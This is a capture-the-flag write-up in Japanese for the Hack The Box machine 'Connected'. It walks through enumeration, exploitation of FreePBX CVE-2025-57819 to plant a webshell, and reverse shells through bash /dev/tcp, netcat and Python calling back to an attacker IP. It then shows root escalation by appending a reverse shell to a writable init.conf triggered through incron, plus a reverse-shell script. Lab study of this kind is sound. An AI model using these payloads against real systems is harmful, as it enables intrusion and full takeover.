HTB: Connected - スタッフピック

📋 目次

列挙
悪用 - CVE-2025-57819
リバースシェル
権限昇格
フラグ
リポジトリ構成
使用したスクリプトとツール
攻撃の概要
リソースとクレジット
補足

1. 列挙

1.1 Nmapによるポートスキャン

nmap -sV 10.129.81.130

結果:

PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16

1.2 ドメインを`/etc/hosts`に追加

echo "10.129.81.130 connected.htb" >> /etc/hosts

1.3 Gobusterによるディレクトリファジング

gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

主な発見:

/admin - FreePBX管理パネル
/ucp - ユーザーコントロールパネル
/robots.txt - Robotsファイル

2. 悪用 - CVE-2025-57819

2.1 エクスプロイトのダウンロード

WatchTowr Labsリポジトリをクローン:

git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819

2.2 エクスプロイトの実行

python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

期待される出力:

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname

2.3 ウェブシェルの確認

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"

結果:

asterisk

3. リバースシェル

3.1 Kaliでリスナーを起動

nc -lvnp 4444

3.2 リバースシェルの注入

エンコード版:

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"

注意: 10.10.14.234 を自分のVPN IPに置き換えてください。

3.3 代替手段

Netcat

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"

Python

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"

3.4 取得したシェル

listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$

4. 権限昇格

4.1 書き込み可能な設定ファイルを探す

find /etc -name "*.conf" -writable 2>/dev/null

主な結果:

/etc/dahdi/init.conf

4.2 `incron.d`を確認

cat /etc/incron.d/*

関連エントリ:

/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

4.3 `init.conf`にリバースシェルを追加

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf

4.4 ルートシェルリスナーを起動

nc -lvnp 4545

4.5 サービス再起動をトリガー

echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart

4.6 ルートシェル取得

connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#

4.7 ルートアクセスを確認

whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

5. フラグ

5.1 ユーザーフラグ

cat /home/asterisk/user.txt

HTB{...user_flag...}

5.2 ルートフラグ

cat /root/root.txt

HTB{...root_flag...}

フラグはこのリポジトリから意図的に省略されています。

6. リポジトリ構成

htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│   ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│   ├── CVE-2025-57819-exploit/
│   └── CVE-2025-57819-poc/
├── payloads/
│   └── reverse_shell.sh
├── scans/
│   ├── nmap_scan.txt
│   └── gobuster_results.txt
├── screenshots/
└── flags/

7. 使用したスクリプトとツール

7.1 リバースシェルスクリプト

ファイル: payloads/reverse_shell.sh

#!/bin/bash

# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444

IP=$1
PORT=$2

if [ -z "$IP" ] || [ -z "$PORT" ]; then
    echo "Usage: $0 <IP> <PORT>"
    exit 1
fi

bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"

7.2 列挙コマンド

ファイル: scans/nmap_scan.txt

# Full port scan
nmap -sV -p- -T4 10.129.81.130

# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130

7.3 ファジングコマンド

ファイル: scans/gobuster_results.txt

# Directory fuzzing
gobuster dir \
    -u http://connected.htb \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

# Fuzzing the admin directory
gobuster dir \
    -u http://connected.htb/admin \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html,conf,ini,bak

8. 攻撃の概要

9. リソースとクレジット

オリジナルライトアップ: CyberSaif
WatchTowr Labsエクスプロイト: GitHub
CVE-2025-57819: SentinelOne
FreePBXセキュリティアドバイザリ: GitHub

10. 補足

10.1 ウェブシェルが作成されない場合

丸2分間待ってください。エクスプロイトはアーティファクトの作成に時間を要します。
接続を確認:

curl -k https://connected.htb

10.2 リスナーが機能しない場合

VPNインターフェースを確認:

ip addr show tun0

必要に応じて別のリスニングポートを試してください:

4445
8080
1234

10.3 ターゲット上の主要ファイル

/etc/dahdi/init.conf - 権限昇格中に使用された書き込み可能な設定ファイル
/etc/incron.d/ - incron設定ディレクトリ
/var/spool/asterisk/sysadmin/dahdi_restart - 再起動アクションを実行するために使用されるトリガー
/var/www/html/ - Webサーバーのドキュメントルート

🏁 結論

Connectedは正常に完了しました。 ✅

この攻撃チェーンは、公開されたFreePBXインスタンスがCVE-2025-57819を通じて初期アクセスにつながり、その後、書き込み可能な設定ファイルとincronベースのトリガーによる権限昇格につながることを示しています。

1	Nmap	ポート22、80、443が開放
2	Gobuster	`/admin`、`/ucp`、`/robots.txt`を発見
3	CVE-2025-57819	`asterisk`としてウェブシェル取得
4	リバースシェル	`asterisk`として対話型シェル取得
5	権限昇格	`incron.d` → `dahdi_restart` → `init.conf`
6	ルート	ルートシェル取得

htb-labs-connected

人気